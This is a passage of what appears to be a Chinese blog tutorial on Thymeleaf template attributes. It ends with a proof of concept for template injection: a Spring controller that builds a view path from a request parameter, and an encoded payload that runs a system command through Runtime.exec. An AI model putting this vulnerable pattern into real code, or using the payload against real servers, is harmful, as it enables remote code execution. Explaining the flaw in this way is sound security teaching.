  • <span th:case="b">www.biancheng.net</span>
  • </div>
th:fragment 模板佈局,類似 JSP 的 tag,用來定義一段被引用或包含的模板片段
  • <footer th:fragment="footer">插入的內容</footer>
th:insert 佈局標籤;
將使用 th:fragment 屬性指定的模板片段(包含標籤)插入到當前標籤中。
  • <div th:insert="commons/bar::footer"></div>
th:replace 佈局標籤;
使用 th:fragment 屬性指定的模板片段(包含標籤)替換當前整個標籤。
  • <div th:replace="commons/bar::footer"></div>
th:selected select 選擇框選中
  • <select>
  • <option>---</option>
  • <option th:selected="${name=='a'}">
  • 編程幫
  • </option>
  • <option th:selected="${name=='b'}">
  • www.biancheng.net
  • </option>
  • </select>
th:src 替換 HTML 中的 src 屬性 
  • <img th:src="@{/asserts/img/bootstrap-solid.svg}" src="asserts/img/bootstrap-solid.svg" />
th:inline 內聯屬性;
該屬性有 text、none、javascript 三種取值,
在 <script> 標籤中使用時,js 代碼中可以獲取到後臺傳遞頁面的對象。
  • <script type="text/javascript" th:inline="javascript">
  • var name = /*[[${name}]]*/ 'bianchengbang';
  • alert(name)
  • </script>
th:action 替換表單提交地址
  • <form th:action="@{/user/login}" th:method="post"></form>

模板引擎對象是org.thymeleaf.ITemplateEngine接口的實現,Thymeleaf核心是org.thymeleaf.TemplateEngine,

templateEngine = new TemplateEngine();
templateEngine.setTemplateResolver(templateResolver);

0x3:thymeleaf開發案例

0x4:漏洞風險面POC

新建spring應用,添加thymeleaf的依賴,
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

添加控制器,

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

攻擊載荷,

// 正確的payload:
/path?lang=en

// POC:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator%22).getInputStream()).next()%7d__::.x

參考鏈接:

https://www.cnblogs.com/tuyile006/p/16257278.html
https://blog.csdn.net/qq_41879343/article/details/107664955
https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html
https://blog.csdn.net/trayvontang/article/details/112849988
https://blog.csdn.net/m0_46188681/article/details/114188838
https://xz.aliyun.com/t/12969#toc-18 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章